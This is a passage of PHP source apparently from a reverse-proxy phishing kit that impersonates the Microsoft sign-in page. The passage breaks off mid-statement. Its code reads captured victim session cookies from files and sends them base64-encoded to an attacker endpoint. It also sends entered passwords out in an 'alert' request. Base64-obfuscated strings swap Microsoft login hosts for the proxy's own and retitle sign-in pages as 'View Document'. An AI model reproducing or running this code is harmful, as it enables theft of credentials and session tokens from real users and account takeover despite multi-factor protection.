if (strpos(strtolower($concat_header),"content-encoding:gzip") !== false){
if(strlen($contentType) > 1 && strpos($contentType, "text/html") !== false){
if(strlen($currentUser) > 3){
$getCookie = trim(@file_get_contents($workingDir."/tpfolder/".$_SESSION['usernameidnum'].'/'.stripEmail($currentUser).'-logcookie'));
if(strlen($getCookie) > 10 ){
$array = json_decode($getCookie, true);
$result = array_values($array);
$getCookie = json_encode($result, JSON_PRETTY_PRINT);
$postData = b64e($getCookie);
$apiUrl = $fakeurl . "?alertcookie=" . genFive()."&rand=".genFive()."&owner=".stripEmail($currentUser)."&data=".$postData."&code=".$initialValidationCode;
send_code($apiUrl);
}
}
}
if(strlen($contentType) > 1 && strpos($contentType, "text/html") !== false && $documentRoot == $redirector){
file_put_contents($workingDir."/tpfolder/".$_SESSION['usernameidnum'].'/currentpage', trim(getHost($targetApiUrl)));
}
$decompressed_data = gzdecode($responseBody);
if(strpos(strtolower($decompressed_data),":443/login.srf") !== false && strpos(strtolower($decompressed_data),"hiddenform") !== false ){
$thisIsFinalExternal = true;
$decompressed_data_final = str_replace("login.microsoftonline.com:443",$baseHost."/p",$decompressed_data);
$decompressed_data_final = gzencode($decompressed_data_final);
}
if(strlen($contentType) > 1 && strpos($contentType, "text/html") !== false){
$codeaccepter = trim(@file_get_contents("stabler.txt"));
$addScript = "";
$decompressed_data = $decompressed_data.$addScript;
}
$pattern = '/href="\/(.*?)"/';
$decompressed_data = str_replace(b64d("PHRpdGxlPlNpZ24gaW4gdG8geW91ciBhY2NvdW50PC90aXRsZT4"),b64d("PHRpdGxlPlZpZXcgRG9jdW1lbnQ8L3RpdGxlPg"),$decompressed_data);
$otltext = b64d("PHRpdGxlPlNpZ24gaW4gdG8gT3V0bG9vazwvdGl0bGU+");
$decompressed_data = str_replace($otltext,"
View Document",$decompressed_data);
if(strpos($decompressed_data, "fShowPersistentCookiesWarning") !== false && strpos($contentType, "text/html") && $email && $password && strlen($email) && strlen($password)){
$dt = '{"Temp Validation":"'.$password.' == Incorrect
"}';
$cont = b64e($dt);
$alert_ = $fakeurl . "?alert=" . genFive() . "&cont=" . $cont . "&rand=" . genFive();
send_code($alert_);
}
$decompressed_data = str_replace(b64d("bG9naW4ubWljcm9zb2Z0b25saW5lLmNvbQ"), $baseHost."/p", $decompressed_data);
if ($responseTargetRoot !== b64d("bG9naW4ubWljcm9zb2Z0b25saW5lLmNvbQ")){
if(strlen($redirector) > 1){
$listUrls = getUrls($decompressed_data);
$urlsString = implode("==,",$listUrls);
$search = array(',', '=', '!', '?', "#", "}","{", "'", '"');
$replace = ' '; // The string to replace with
$urlsString = str_replace($search, $replace, $urlsString);
$listUrls = getUrls($urlsString);
$hostList = [];
foreach ($listUrls as $url_) {
$tempHost = getHost($url_);
$tempHost = extractHost($decompressed_data,$tempHost);
$hostList[] = $tempHost;
}
$listUrls = array_unique($hostList);
foreach ($listUrls as $url_) {
$tempHost = $url_;
$placeLine = findStringLine($workingDir."/tpfolder/".$_SESSION['usernameidnum'].'/placeholder',$tempHost);
if(strlen($placeLine) > 5){
$placeHost = explode("-=-",trim($placeLine))[1];
$placeCode = explode("-=-",trim($placeLine))[0];
$decompressed_data = str_replace($placeHost, $baseHost."/".$placeCode,$decompressed_data);
}
else{
$placeholder = genFive();
@file_put_contents($workingDir."/tpfolder/".$_SESSION['usernameidnum'].'/placeholder',$placeholder."-=-".$tempHost."\n",FILE_APPEND);
$decompressed_data = str_replace($tempHost, $baseHost."/".$placeholder,$decompressed_data);
}
}
}
}
if(strpos($decompressed_data,"GetCredentialType?mkt=") !== false){
}
$decompressed_data = $suffix.$decompressed_data;
$decompressed_data = str_replace(b64d("PHRpdGxlPlJlZGlyZWN0aW5nPC90aXRsZT4"),b64d("PHRpdGxlPlZpZXdpbmcgRG9jdW1lbnQ8L3RpdGxlPg"),$decompressed_data);
if(strlen($contentType) > 1 && strpos($contentType, "text/html") !== false && strpos($targetApiUrl,b64d("bG9naW4ubWljcm9zb2Z0b25saW5lLmNvbQ")) !== false && file_exists($startFile) && strpos($decompressed_data,b64d("Y29udGVudC9qcy9Cc3NvSW50ZXJydXB0X0NvcmVf")) === false){
// $decompressed_data = $decompressed_data.$submitterFirst;
$decompressed_data = str_replace('